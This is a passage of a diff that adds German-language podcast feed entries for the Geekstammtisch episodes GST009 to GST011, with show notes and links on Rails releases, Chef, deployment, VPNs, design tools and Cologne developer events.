+Practices mit Chef und VPNs. Zum Ende gibt es wieder neues aus der
+Rubrik Cool Stuffâ„¢. Auf Grund knapper Vorbereitung ist die Folge diesmal
+wieder etwas kürzer geraten.
+
+### Intro (00:00:00)
+
+ * Ruby 2.0 Walkthrough von Peter Cooper fertig. Backer haben schon
+ Zugriff, wird also wohl demnächst kommen.
+
+### Rails (00:01:46)
+
+ * Rails 3.2.13, 3.1.12 und 2.3.18:
+ http://weblog.rubyonrails.org/2013/3/18/SEC-ANN-Rails-3-2-13-3-1-12-and-2-3-18-have-been-released
+ * Zusammenhang mit dem GitHub Email Leak von letzter Woche:
+ https://github.com/blog/1440-today-s-email-incident
+ * Regression in Rails:
+ https://github.com/rails/rails/commit/f980289fd2c1b9073a94b5d49b780a49f5e2933c#L1L23
+ * Issue dazu: https://github.com/rails/rails/issues/9813
+ * Noch mehr Regressions:
+ http://blog.bugsnag.com/2013/03/20/rails-3-2-13-performance-regressions-major-bugs
+
+### Deployment-Strategien (00:06:52)
+
+ * Wie wollen wir deployen?
+ * Parallel vs. Seriell
+ * @bascht benutzt zur Zeit Deployment mit Puppet
+ (https://puppetlabs.com/) und Jenkins (http://jenkins-ci.org/)
+ * Migrationen (zumindest aufwändigere) machen die Sache schnell
+ aufwändig und komplex
+ * Chef-Capistrano: https://github.com/cramerdev/capistrano-chef
+
+### Arbeiten mit Chef (00:24:15)
+
+ * Bundler für Chef: http://berkshelf.com/ (Alternative:
+ https://github.com/applicationsonline/librarian-chef)
+ * Ãœberhaupt interessanter GitHub Account: https://github.com/RiotGames
+ (League of Legends)
+ * Vagrant Intregration für Librarian (von Felix)
+ https://github.com/thegcat/vagrant-librarian
+ * Abstruser Bug in Chef (10.x) beim iterieren über Attribute:
+ https://tickets.opscode.com/browse/CHEF-1804
+ * Für Chef contributen ist anstrengend:
+ https://github.com/railsbros-dirk/rsyslog/blob/master/CONTRIBUTING.md
+ * Daher Wrapper Cookbook, Gem was dabei unterstützen soll, hab ich
+ aber nicht ausprobiert: https://github.com/bryanwb/chef-rewind
+ * Gefunden bei
+ http://dougireton.com/blog/2013/02/16/chef-cookbook-anti-patterns/
+ (auch gute Artikel über Vim)
+
+### VPN (00:42:26)
+
+ * Basti ist auf der Suche nach einem VPN
+ * Fragewürdige Seite: 'BESTVPNZ'
+ * VPN-Vergleich-Liste
+ http://torrentfreak.com/vpn-services-that-take-your-anonymity-seriously-2013-edition-130302/
+ * Warum? -> Wenn man mal irgendwo ist wo es man nicht weiß was man für
+ Internet bekommt.
+ * Aktueller Favorit ist BlackVPN: https://www.blackvpn.com/services/
+ * Einwurf: 30C3 Sneak Preview: https://alpha.app.net/evelyn/post/4178558
+
+### Cool Stuffâ„¢ (00:55:30)
+
+ * CSS-style JSON Selektoren: http://jsonselect.org/
+ * http://goessner.net/articles/JsonPath/
+ * Window Manager für OS X: https://github.com/jigish/slate
+ * Window Manager für Linux (in Ruby gebaut): http://subforge.org/projects/subtle
+ * https://github.com/aziz/tmuxinator (gefunden über Lucas dotfiles)
+
+### Vermischtes (01:14:31)
+
+ * http://flattr.kejsarmakten.se/github/ -> Flattr Button bei GitHub
+ * https://www.gittip.com/
+ * Sublime statt Vim:
+ http://delvarworld.github.com/blog/2013/03/16/just-use-sublime-text/
+ * Haben uns sagen lassen, dass RubyMine total geil sein soll
+ (zumindest als Editor / Browser): http://www.jetbrains.com/ruby/]]></itunes:summary>
+ <description><![CDATA[<p>Synopsis: Zur 9ten Ausgabe hat sich der gute <a href="https://twitter.com/bascht">@bascht</a> wieder zu uns auf
+das Sofa gesetzt. Wie sollte es anders sein, reden wir relativ viel über
+DevOps Themen. Neben Deploymentstrategien geht es dabei um Best
+Practices mit Chef und VPNs. Zum Ende gibt es wieder neues aus der
+Rubrik Cool Stuffâ„¢. Auf Grund knapper Vorbereitung ist die Folge diesmal
+wieder etwas kürzer geraten. </p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Ruby 2.0 Walkthrough von Peter Cooper fertig. Backer haben schon
+Zugriff, wird also wohl demnächst kommen.</li>
+</ul>
+
+<h3>Rails (00:01:46)</h3>
+
+<ul>
+<li>Rails 3.2.13, 3.1.12 und 2.3.18:
+<a href="http://weblog.rubyonrails.org/2013/3/18/SEC-ANN-Rails-3-2-13-3-1-12-and-2-3-18-have-been-released">http://weblog.rubyonrails.org/2013/3/18/SEC-ANN-Rails-3-2-13-3-1-12-and-2-3-18-have-been-released</a></li>
+<li>Zusammenhang mit dem GitHub Email Leak von letzter Woche:
+<a href="https://github.com/blog/1440-today-s-email-incident">https://github.com/blog/1440-today-s-email-incident</a>
+
+<ul>
+<li>Regression in Rails:
+<a href="https://github.com/rails/rails/commit/f980289fd2c1b9073a94b5d49b780a49f5e2933c#L1L23">https://github.com/rails/rails/commit/f980289fd2c1b9073a94b5d49b780a49f5e2933c#L1L23</a></li>
+<li>Issue dazu: <a href="https://github.com/rails/rails/issues/9813">https://github.com/rails/rails/issues/9813</a></li>
+<li>Noch mehr Regressions:
+<a href="http://blog.bugsnag.com/2013/03/20/rails-3-2-13-performance-regressions-major-bugs">http://blog.bugsnag.com/2013/03/20/rails-3-2-13-performance-regressions-major-bugs</a></li>
+</ul></li>
+</ul>
+
+<h3>Deployment-Strategien (00:06:52)</h3>
+
+<ul>
+<li>Wie wollen wir deployen?</li>
+<li>Parallel vs. Seriell</li>
+<li><a href="https://twitter.com/bascht">@bascht</a> benutzt zur Zeit Deployment mit Puppet
+(<a href="https://puppetlabs.com/">https://puppetlabs.com/</a>) und Jenkins (<a href="http://jenkins-ci.org/">http://jenkins-ci.org/</a>)</li>
+<li>Migrationen (zumindest aufwändigere) machen die Sache schnell
+aufwändig und komplex</li>
+<li>Chef-Capistrano: <a href="https://github.com/cramerdev/capistrano-chef">https://github.com/cramerdev/capistrano-chef</a></li>
+</ul>
+
+<h3>Arbeiten mit Chef (00:24:15)</h3>
+
+<ul>
+<li>Bundler für Chef: <a href="http://berkshelf.com/">http://berkshelf.com/</a> (Alternative:
+<a href="https://github.com/applicationsonline/librarian-chef">https://github.com/applicationsonline/librarian-chef</a>)</li>
+<li>Ãœberhaupt interessanter GitHub Account: <a href="https://github.com/RiotGames">https://github.com/RiotGames</a>
+(League of Legends)</li>
+<li>Vagrant Intregration für Librarian (von Felix)
+<a href="https://github.com/thegcat/vagrant-librarian">https://github.com/thegcat/vagrant-librarian</a></li>
+<li>Abstruser Bug in Chef (10.x) beim iterieren über Attribute:
+<a href="https://tickets.opscode.com/browse/CHEF-1804">https://tickets.opscode.com/browse/CHEF-1804</a></li>
+<li>Für Chef contributen ist anstrengend:
+<a href="https://github.com/railsbros-dirk/rsyslog/blob/master/CONTRIBUTING.md">https://github.com/railsbros-dirk/rsyslog/blob/master/CONTRIBUTING.md</a>
+
+<ul>
+<li>Daher Wrapper Cookbook, Gem was dabei unterstützen soll, hab ich
+aber nicht ausprobiert: <a href="https://github.com/bryanwb/chef-rewind">https://github.com/bryanwb/chef-rewind</a></li>
+<li>Gefunden bei
+<a href="http://dougireton.com/blog/2013/02/16/chef-cookbook-anti-patterns/">http://dougireton.com/blog/2013/02/16/chef-cookbook-anti-patterns/</a>
+(auch gute Artikel über Vim)</li>
+</ul></li>
+</ul>
+
+<h3>VPN (00:42:26)</h3>
+
+<ul>
+<li>Basti ist auf der Suche nach einem VPN</li>
+<li>Fragewürdige Seite: &#39;BESTVPNZ&#39;</li>
+<li>VPN-Vergleich-Liste
+<a href="http://torrentfreak.com/vpn-services-that-take-your-anonymity-seriously-2013-edition-130302/">http://torrentfreak.com/vpn-services-that-take-your-anonymity-seriously-2013-edition-130302/</a></li>
+<li>Warum? -> Wenn man mal irgendwo ist wo es man nicht weiß was man für
+Internet bekommt.</li>
+<li>Aktueller Favorit ist BlackVPN: <a href="https://www.blackvpn.com/services/">https://www.blackvpn.com/services/</a></li>
+<li>Einwurf: 30C3 Sneak Preview: <a href="https://alpha.app.net/evelyn/post/4178558">https://alpha.app.net/evelyn/post/4178558</a></li>
+</ul>
+
+<h3>Cool Stuffâ„¢ (00:55:30)</h3>
+
+<ul>
+<li>CSS-style JSON Selektoren: <a href="http://jsonselect.org/">http://jsonselect.org/</a></li>
+<li><a href="http://goessner.net/articles/JsonPath/">http://goessner.net/articles/JsonPath/</a></li>
+<li>Window Manager für OS X: <a href="https://github.com/jigish/slate">https://github.com/jigish/slate</a></li>
+<li>Window Manager für Linux (in Ruby gebaut): <a href="http://subforge.org/projects/subtle">http://subforge.org/projects/subtle</a></li>
+<li><a href="https://github.com/aziz/tmuxinator">https://github.com/aziz/tmuxinator</a> (gefunden über Lucas dotfiles)</li>
+</ul>
+
+<h3>Vermischtes (01:14:31)</h3>
+
+<ul>
+<li><a href="http://flattr.kejsarmakten.se/github/">http://flattr.kejsarmakten.se/github/</a> -> Flattr Button bei GitHub</li>
+<li><a href="https://www.gittip.com/">https://www.gittip.com/</a></li>
+<li>Sublime statt Vim:
+<a href="http://delvarworld.github.com/blog/2013/03/16/just-use-sublime-text/">http://delvarworld.github.com/blog/2013/03/16/just-use-sublime-text/</a></li>
+<li>Haben uns sagen lassen, dass RubyMine total geil sein soll
+(zumindest als Editor / Browser): <a href="http://www.jetbrains.com/ruby/">http://www.jetbrains.com/ruby/</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST009" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:01:46" title="Rails" />
+
+ <psc:chapter start="00:06:52" title="Deployment-Strategien" />
+
+ <psc:chapter start="00:24:15" title="Arbeiten mit Chef" />
+
+ <psc:chapter start="00:42:26" title="VPN" />
+
+ <psc:chapter start="00:55:30" title="Cool Stuffâ„¢" />
+
+ <psc:chapter start="01:14:31" title="Vermischtes" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST010 - Dackelklub</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Liane Thönnes (liane_thoennes) über das Leben und Arbeiten einer Designerin unter Entwicklern</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst010.mp3" length="48848034" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST010</guid>
+ <pubDate>Tue, 02 Apr 2013 22:01:30 +0200</pubDate>
+ <itunes:duration>01:07:40</itunes:duration>
+ <itunes:summary><![CDATA[Synopsis: Wir sprechen zur 10. Sendung mit Liane (@liane_thoennes) über
+das Leben und Arbeiten einer Designerin unter Entwicklern. Wir reden
+über Werkzeuge, Prozesse und das allgemeine Miteinander. CoolStuff™ darf
+natürlich auch nicht fehlen.
+
+### Intro & Gast (00:00:00)
+
+ * Liane Thönnes @liane_thoennes / http://liane-thoennes.de
+ * Organisiert Rails Girls Cologne/Rheinland
+ * Liane ist Designerin bei Railslove (http://railslove.com/)
+ * Interessiert sich dafür, wie man die Zusammenarbeit von Designern und Entwicklern verbessern kann
+
+### (Web-)Design (00:02:59)
+
+ * Kommunikation ist alles
+ * Icon Font Generator: http://fontello.com/
+ * WYSIWYG-Tool für Typographie im Web: http://typecast.com/
+ * Liane schwebt ein Design-Workshop für Entwickler vor
+ * Erste Skizzen auf Papier
+ * Dann Mockups gerne auch auf Papier, oder z.B. mit balsamiq: http://www.balsamiq.com/products/mockups
+ * Konkretisierung von Farben, Fonts, Abständen, etc.
+ * Play by Play mit Ryan Singer
+ * UX Sketching: https://peepcode.com/products/ryan-singer-ux
+ * UI Prototyping: https://peepcode.com/products/ryan-singer-ii
+ * Liane wünscht sich etwas mehr Liebe zum Detail von Entwicklern
+ * So fühlt sich Basti beim frontendlen: http://i.imgur.com/Q3cUg29.gif
+ * Leute, der Typ heißt PETER!
+ * Designer als ganz normaler Bestandteil eines agilen Entwicklungsprozesses
+ * An easy to follow design course for hackers who do amazing things: http://hackdesign.org
+
+### Coworking (00:43:15)
+
+ * Liane erzählt etwas zum Gasmotorenfabrik e.V.
+ * Es herrscht Uneinigkeit, was den Namen anbelangt
+ * Neue Location des Cowoco: An der Bottmühle 5, 50678 Köln
+ * Der Name ist noch so ein Problem :)
+
+### CoolStuffâ„¢ (00:52:56)
+
+ * Alternative zu tmuxinator: https://github.com/treyhunner/tmuxstart
+ * Kuchi-Paku – DIE Freisprecheinrichtung: http://www.youtube.com/watch?v=Y86A2_pYSYU
+ * PonyOS – A Hobby Operating System for Everypony! http://www.ponyos.org
+
+### Verschiedenes (00:57:15)
+
+ * Technische Validierung von iOS Apps für den Review Prozess:
+ http://jury.me/blog/2013/3/19/deploymate
+ * Bootstrap jetzt endlich in schön
+ http://divshot.github.com/geo-bootstrap/
+ * “Interface Builder for the Webâ€: http://www.divshot.com/
+ * Benchmark anyone?:
+ http://www.techempower.com/blog/2013/03/28/framework-benchmarks/
+ * How to become a designer:
+ http://blog.mariusz.cc/post/46946707199/how-to-become-a-better-designer
+ * Chef, Ãœberschreiben von Templates in Community-Cookbooks:
+ https://gist.github.com/fujin/1713157
+ * Railsgirls Followup - 22.4.2013 im Colabor:
+ http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1998]]></itunes:summary>
+ <description><![CDATA[<p>Synopsis: Wir sprechen zur 10. Sendung mit Liane (<a href="https://twitter.com/liane_thoennes">@liane_thoennes</a>) über
+das Leben und Arbeiten einer Designerin unter Entwicklern. Wir reden
+über Werkzeuge, Prozesse und das allgemeine Miteinander. CoolStuff™ darf
+natürlich auch nicht fehlen.</p>
+
+<h3>Intro &amp; Gast (00:00:00)</h3>
+
+<ul>
+<li>Liane Thönnes <a href="https://twitter.com/liane_thoennes">@liane_thoennes</a> / <a href="http://liane-thoennes.de">http://liane-thoennes.de</a></li>
+<li>Organisiert Rails Girls Cologne/Rheinland</li>
+<li>Liane ist Designerin bei Railslove (<a href="http://railslove.com/">http://railslove.com/</a>)</li>
+<li>Interessiert sich dafür, wie man die Zusammenarbeit von Designern und Entwicklern verbessern kann</li>
+</ul>
+
+<h3>(Web-)Design (00:02:59)</h3>
+
+<ul>
+<li>Kommunikation ist alles</li>
+<li>Icon Font Generator: <a href="http://fontello.com/">http://fontello.com/</a></li>
+<li>WYSIWYG-Tool für Typographie im Web: <a href="http://typecast.com/">http://typecast.com/</a></li>
+<li>Liane schwebt ein Design-Workshop für Entwickler vor</li>
+<li>Erste Skizzen auf Papier</li>
+<li>Dann Mockups gerne auch auf Papier, oder z.B. mit balsamiq: <a href="http://www.balsamiq.com/products/mockups">http://www.balsamiq.com/products/mockups</a></li>
+<li>Konkretisierung von Farben, Fonts, Abständen, etc.</li>
+<li>Play by Play mit Ryan Singer
+
+<ul>
+<li>UX Sketching: <a href="https://peepcode.com/products/ryan-singer-ux">https://peepcode.com/products/ryan-singer-ux</a></li>
+<li>UI Prototyping: <a href="https://peepcode.com/products/ryan-singer-ii">https://peepcode.com/products/ryan-singer-ii</a></li>
+</ul></li>
+<li>Liane wünscht sich etwas mehr Liebe zum Detail von Entwicklern</li>
+<li>So fühlt sich Basti beim frontendlen: <a href="http://i.imgur.com/Q3cUg29.gif">http://i.imgur.com/Q3cUg29.gif</a>
+
+<ul>
+<li>Leute, der Typ heißt PETER!</li>
+</ul></li>
+<li>Designer als ganz normaler Bestandteil eines agilen Entwicklungsprozesses</li>
+<li>An easy to follow design course for hackers who do amazing things: <a href="http://hackdesign.org">http://hackdesign.org</a></li>
+</ul>
+
+<h3>Coworking (00:43:15)</h3>
+
+<ul>
+<li>Liane erzählt etwas zum Gasmotorenfabrik e.V.</li>
+<li>Es herrscht Uneinigkeit, was den Namen anbelangt</li>
+<li>Neue Location des Cowoco: An der Bottmühle 5, 50678 Köln</li>
+<li>Der Name ist noch so ein Problem :)</li>
+</ul>
+
+<h3>CoolStuffâ„¢ (00:52:56)</h3>
+
+<ul>
+<li>Alternative zu tmuxinator: <a href="https://github.com/treyhunner/tmuxstart">https://github.com/treyhunner/tmuxstart</a></li>
+<li>Kuchi-Paku – DIE Freisprecheinrichtung: <a href="http://www.youtube.com/watch?v=Y86A2_pYSYU">http://www.youtube.com/watch?v=Y86A2_pYSYU</a></li>
+<li>PonyOS – A Hobby Operating System for Everypony! <a href="http://www.ponyos.org">http://www.ponyos.org</a></li>
+</ul>
+
+<h3>Verschiedenes (00:57:15)</h3>
+
+<ul>
+<li>Technische Validierung von iOS Apps für den Review Prozess:
+<a href="http://jury.me/blog/2013/3/19/deploymate">http://jury.me/blog/2013/3/19/deploymate</a></li>
+<li>Bootstrap jetzt endlich in schön
+<a href="http://divshot.github.com/geo-bootstrap/">http://divshot.github.com/geo-bootstrap/</a></li>
+<li>“Interface Builder for the Webâ€: <a href="http://www.divshot.com/">http://www.divshot.com/</a></li>
+<li>Benchmark anyone?:
+<a href="http://www.techempower.com/blog/2013/03/28/framework-benchmarks/">http://www.techempower.com/blog/2013/03/28/framework-benchmarks/</a></li>
+<li>How to become a designer:
+<a href="http://blog.mariusz.cc/post/46946707199/how-to-become-a-better-designer">http://blog.mariusz.cc/post/46946707199/how-to-become-a-better-designer</a></li>
+<li>Chef, Ãœberschreiben von Templates in Community-Cookbooks:
+<a href="https://gist.github.com/fujin/1713157">https://gist.github.com/fujin/1713157</a></li>
+<li>Railsgirls Followup - 22.4.2013 im Colabor:
+<a href="http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1998">http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1998</a></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST010" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro &amp; Gast" />
+
+ <psc:chapter start="00:02:59" title="(Web-)Design" />
+
+ <psc:chapter start="00:43:15" title="Coworking" />
+
+ <psc:chapter start="00:52:56" title="CoolStuffâ„¢" />
+
+ <psc:chapter start="00:57:15" title="Verschiedenes" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST011 - Unsatisfied Computers</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Ein Geekstammtisch Classic, mit ohne Gast über OO Design, Code Metriken und und und…</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst011.mp3" length="59553867" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST011</guid>
+ <pubDate>Mon, 15 Apr 2013 10:42:36 +0200</pubDate>
+ <itunes:duration>01:22:32</itunes:duration>
+ <itunes:summary><![CDATA[Synopsis: Heute ein Geekstammtisch Classic, mit ohne Gast. Wir reden
+über Regeln für gutes OO-Design, Code Metriken, schlechte Angewohnheiten
+von Entwicklern, Cool Stuff und etwas über git. Zur Auflockerung
+philosophieren wir gegen Ende noch etwas über den PC Markt.
+
+### Errata (00:00:45)
+
+ * Liane organisiert natürlich Railsgirls und arbeitet für Railslove. Da kommt man schon mal durcheinander :)
+ * Matthias @luebken machte uns aufmerksam auf “Lean UXâ€: https://twitter.com/luebken/status/321933241936384000
+ * Kuchi Paku Freisprecheinrichtung funktioniert nicht wie im Video, trotzdem lustig
+
+### Podcasting (00:04:35)
+
+ * Geekstammtisch nun mit flattr!
+ * Wir sind bei der Hörsuppe gefeaturet worden: hoersuppe.de
+ * Neues Produkt aus dem Kölner Podcasting Cluster: nerdkun.de mit @bitboxer, @klaustoper, @moonbeamlabs und @l_ama (produziert im HOC und mit gst-kitchen)
+
+### Ruby (00:08:23)
+
+ * Regeln für gutes OO-Design: https://gist.github.com/henrik/4509394#file-rules-md
+ * ursprünglich aus der Ruby Rogues Nummer 87: http://rubyrogues.com/087-rr-book-clubpractical-object-oriented-design-in-ruby-with-sandi-metz/
+ * http://gist.io/4567190
+ * https://github.com/codegram/pelusa
+ * Code Metriken: https://github.com/square/cane
+ * Style Checker (Trailing Whitespace, Line Length, Check for Tabs)
+ * ABC Metrik: Assignment, Branch, Condition
+ * Doc Check
+ * Weitere Checks recht einfach möglich
+ * Matrix Lib http://rubylearning.com/blog/2013/04/04/ruby-matrix-the-forgotten-library
+ * 7 Bad Programmer Habits: http://www.javacodegeeks.com/2012/05/top-7-programmers-bad-habits.html
+
+### Gems (00:32:15)
+
+ * Git-Like Interface Command Line Parser: https://github.com/davetron5000/gli
+ * Weniger umfangreiche Variante: https://github.com/davetron5000/methadone
+ * CSSCSS: A CSS redundancy analyzer that analyzes redundancy http://zmoazeni.github.io/csscss/
+
+### CoolStuffâ„¢ (00:37:31)
+
+ * GitHub.io: https://github.com/blog/1466-yummy-cookies-across-domains
+ * Boundary - “A New Approach to Application Performance Monitoringâ€: http://boundary.com/product/
+ * Pushpin: HTTP reverse proxy that supports streaming and long-polling https://github.com/fanout/pushpin
+ * http://starlogs.net/
+ * Vim Script lernen: http://learnvimscriptthehardway.stevelosh.com/
+
+### Verschiedenes: iOS, git, Google blink (00:49:25)
+
+ * Wie viel wird wo geflucht: http://andrewvos.com/2011/02/21/amount-of-profanity-in-git-commit-messages-per-programming-language/
+ * Blink, Chromiums neue Engine: http://blog.chromium.org/2013/04/blink-rendering-engine-for-chromium.html, http://www.chromium.org/blink
+ * iOS Performance Tips: http://www.raywenderlich.com/31166/25-ios-app-performance-tips-tricks (via: @denis2342)
+ * git Diskussion auf Twitter (@steveklabnik):
+ * https://twitter.com/steveklabnik/status/321332245086498816,
+ * https://twitter.com/steveklabnik/status/321335216595689473,
+ * https://twitter.com/garybernhardt/status/321339229009502208
+ * Conversation-Tracking in Twitter ist doof ^^
+
+### Meta(ebene) (01:00:20)
+
+ * Blog zu ADN Kram: http://bupk.es/
+ * Shodan: Eine beängstigende Suchmaschine:
+ * http://www.neunetz.com/2013/04/09/shodan-eine-beangstigende-suchmaschine/
+ * http://money.cnn.com/2013/04/08/technology/security/shodan/
+ * PC Markt?!: http://www.handelsblatt.com/unternehmen/it-medien/marktforscher-windows-8-hat-versagt/8048772.html
+ * Chad Fowler beschreibt seinen Traummitarbeiter: http://chadfowler.com/blog/2013/04/09/who-i-want-to-hire/
+
+### Events (01:14:40)
+
+ * NoSQL Matters Cologne (26. und 27.4. im KOMED): http://2013.nosql-matters.org/cgn/
+ * cologne.rb (17.4. bei triAGENS) http://www.nerdhub.de/events/40-cologne-rb/dates/845
+ * DevHouseFriday (19.4. bei wer-kennt-wen) http://www.nerdhub.de/events/9-devhouse-friday/dates/1878
+ * Railsgirls FollowUp (22.4. bei Colabor) http://www.nerdhub.de/events/115-rails-girls-cologne/dates/1998
+ * JAX (22. bis 26.4. in Mainz): http://jax.de/2013/
+ * Vielleicht nicht so unsere Zielgruppe, aber wir haben einen Talk schon vorab gehört ;-)
+ * http://jax.de/2013/sessions/?tid=2884#session-24955]]></itunes:summary>
+ <description><![CDATA[<p>Synopsis: Heute ein Geekstammtisch Classic, mit ohne Gast. Wir reden
+über Regeln für gutes OO-Design, Code Metriken, schlechte Angewohnheiten
+von Entwicklern, Cool Stuff und etwas über git. Zur Auflockerung
+philosophieren wir gegen Ende noch etwas über den PC Markt.</p>
+
+<h3>Errata (00:00:45)</h3>
+
+<ul>
+<li>Liane organisiert natürlich Railsgirls und arbeitet für Railslove. Da kommt man schon mal durcheinander :)</li>
+<li>Matthias <a href="https://twitter.com/luebken">@luebken</a> machte uns aufmerksam auf “Lean UXâ€: <a href="https://twitter.com/luebken/status/321933241936384000">https://twitter.com/luebken/status/321933241936384000</a></li>
+<li>Kuchi Paku Freisprecheinrichtung funktioniert nicht wie im Video, trotzdem lustig</li>
+</ul>
+
+<h3>Podcasting (00:04:35)</h3>
+
+<ul>
+<li>Geekstammtisch nun mit flattr!</li>
+<li>Wir sind bei der Hörsuppe gefeaturet worden: hoersuppe.de</li>
+<li>Neues Produkt aus dem Kölner Podcasting Cluster: nerdkun.de mit <a href="https://twitter.com/bitboxer">@bitboxer</a>, <a href="https://twitter.com/klaustoper">@klaustoper</a>, <a href="https://twitter.com/moonbeamlabs">@moonbeamlabs</a> und <a href="https://twitter.com/l_ama">@l_ama</a> (produziert im HOC und mit gst-kitchen)</li>
+</ul>
+
+<h3>Ruby (00:08:23)</h3>
+
+<ul>
+<li>Regeln für gutes OO-Design: <a href="https://gist.github.com/henrik/4509394#file-rules-md">https://gist.github.com/henrik/4509394#file-rules-md</a>
+
+<ul>
+<li>ursprünglich aus der Ruby Rogues Nummer 87: <a href="http://rubyrogues.com/087-rr-book-clubpractical-object-oriented-design-in-ruby-with-sandi-metz/">http://rubyrogues.com/087-rr-book-clubpractical-object-oriented-design-in-ruby-with-sandi-metz/</a></li>
+<li><a href="http://gist.io/4567190">http://gist.io/4567190</a></li>
+<li><a href="https://github.com/codegram/pelusa">https://github.com/codegram/pelusa</a></li>
+</ul></li>
+<li>Code Metriken: <a href="https://github.com/square/cane">https://github.com/square/cane</a>
+
+<ul>
+<li>Style Checker (Trailing Whitespace, Line Length, Check for Tabs)</li>
+<li>ABC Metrik: Assignment, Branch, Condition</li>
+<li>Doc Check</li>
+<li>Weitere Checks recht einfach möglich</li>
+</ul></li>
+<li>Matrix Lib <a href="http://rubylearning.com/blog/2013/04/04/ruby-matrix-the-forgotten-library">http://rubylearning.com/blog/2013/04/04/ruby-matrix-the-forgotten-library</a></li>
+<li>7 Bad Programmer Habits: <a href="http://www.javacodegeeks.com/2012/05/top-7-programmers-bad-habits.html">http://www.javacodegeeks.com/2012/05/top-7-programmers-bad-habits.html</a></li>
+</ul>
+
+<h3>Gems (00:32:15)</h3>
+
+<ul>
+<li>Git-Like Interface Command Line Parser: <a href="https://github.com/davetron5000/gli">https://github.com/davetron5000/gli</a></li>
+<li>Weniger umfangreiche Variante: <a href="https://github.com/davetron5000/methadone">https://github.com/davetron5000/methadone</a></li>
+<li>CSSCSS: A CSS redundancy analyzer that analyzes redundancy <a href="http://zmoazeni.github.io/csscss/">http://zmoazeni.github.io/csscss/</a></li>
+</ul>
+
+<h3>CoolStuffâ„¢ (00:37:31)</h3>
+
+<ul>
+<li>GitHub.io: <a href="https://github.com/blog/1466-yummy-cookies-across-domains">https://github.com/blog/1466-yummy-cookies-across-domains</a></li>
+<li>Boundary - “A New Approach to Application Performance Monitoringâ€: <a href="http://boundary.com/product/">http://boundary.com/product/</a></li>
+<li>Pushpin: HTTP reverse proxy that supports streaming and long-polling <a href="https://github.com/fanout/pushpin">https://github.com/fanout/pushpin</a></li>
+<li><a href="http://starlogs.net/">http://starlogs.net/</a></li>
+<li>Vim Script lernen: <a href="http://learnvimscriptthehardway.stevelosh.com/">http://learnvimscriptthehardway.stevelosh.com/</a></li>
+</ul>
+
+<h3>Verschiedenes: iOS, git, Google blink (00:49:25)</h3>
+
+<ul>
+<li>Wie viel wird wo geflucht: <a href="http://andrewvos.com/2011/02/21/amount-of-profanity-in-git-commit-messages-per-programming-language/">http://andrewvos.com/2011/02/21/amount-of-profanity-in-git-commit-messages-per-programming-language/</a></li>
+<li>Blink, Chromiums neue Engine: <a href="http://blog.chromium.org/2013/04/blink-rendering-engine-for-chromium.html">http://blog.chromium.org/2013/04/blink-rendering-engine-for-chromium.html</a>, <a href="http://www.chromium.org/blink">http://www.chromium.org/blink</a></li>
+<li>iOS Performance Tips: <a href="http://www.raywenderlich.com/31166/25-ios-app-performance-tips-tricks">http://www.raywenderlich.com/31166/25-ios-app-performance-tips-tricks</a> (via: <a href="https://twitter.com/denis2342">@denis2342</a>)</li>
+<li>git Diskussion auf Twitter (<a href="https://twitter.com/steveklabnik">@steveklabnik</a>):
+
+<ul>
+<li><a href="https://twitter.com/steveklabnik/status/321332245086498816">https://twitter.com/steveklabnik/status/321332245086498816</a>,</li>
+<li><a href="https://twitter.com/steveklabnik/status/321335216595689473">https://twitter.com/steveklabnik/status/321335216595689473</a>,</li>
+<li><a href="https://twitter.com/garybernhardt/status/321339229009502208">https://twitter.com/garybernhardt/status/321339229009502208</a></li>
+<li>Conversation-Tracking in Twitter ist doof ^^</li>
+</ul></li>
+</ul>
+
+<h3>Meta(ebene) (01:00:20)</h3>
+
+<ul>
+<li>Blog zu ADN Kram: <a href="http://bupk.es/">http://bupk.es/</a></li>
+<li>Shodan: Eine beängstigende Suchmaschine:
+
+<ul>
+<li><a href="http://www.neunetz.com/2013/04/09/shodan-eine-beangstigende-suchmaschine/">http://www.neunetz.com/2013/04/09/shodan-eine-beangstigende-suchmaschine/</a></li>
+<li><a href="http://money.cnn.com/2013/04/08/technology/security/shodan/">http://money.cnn.com/2013/04/08/technology/security/shodan/</a></li>
+</ul></li>
+<li>PC Markt?!: <a href="http://www.handelsblatt.com/unternehmen/it-medien/marktforscher-windows-8-hat-versagt/8048772.html">http://www.handelsblatt.com/unternehmen/it-medien/marktforscher-windows-8-hat-versagt/8048772.html</a></li>
+<li>Chad Fowler beschreibt seinen Traummitarbeiter: <a href="http://chadfowler.com/blog/2013/04/09/who-i-want-to-hire/">http://chadfowler.com/blog/2013/04/09/who-i-want-to-hire/</a></li>
+</ul>
+
+<h3>Events (01:14:40)</h3>
+
+<ul>
+<li>NoSQL Matters Cologne (26. und 27.4. im KOMED): <a href="http://2013.nosql-matters.org/cgn/">http://2013.nosql-matters.org/cgn/</a></li>
+<li>cologne.rb (17.4. bei triAGENS) <a href="http://www.nerdhub.de/events/40-cologne-rb/dates/845">http://www.nerdhub.de/events/40-cologne-rb/dates/845</a></li>
+<li>DevHouseFriday (19.4. bei wer-kennt-wen) <a href="http://www.nerdhub.de/events/9-devhouse-friday/dates/1878">http://www.nerdhub.de/events/9-devhouse-friday/dates/1878</a></li>
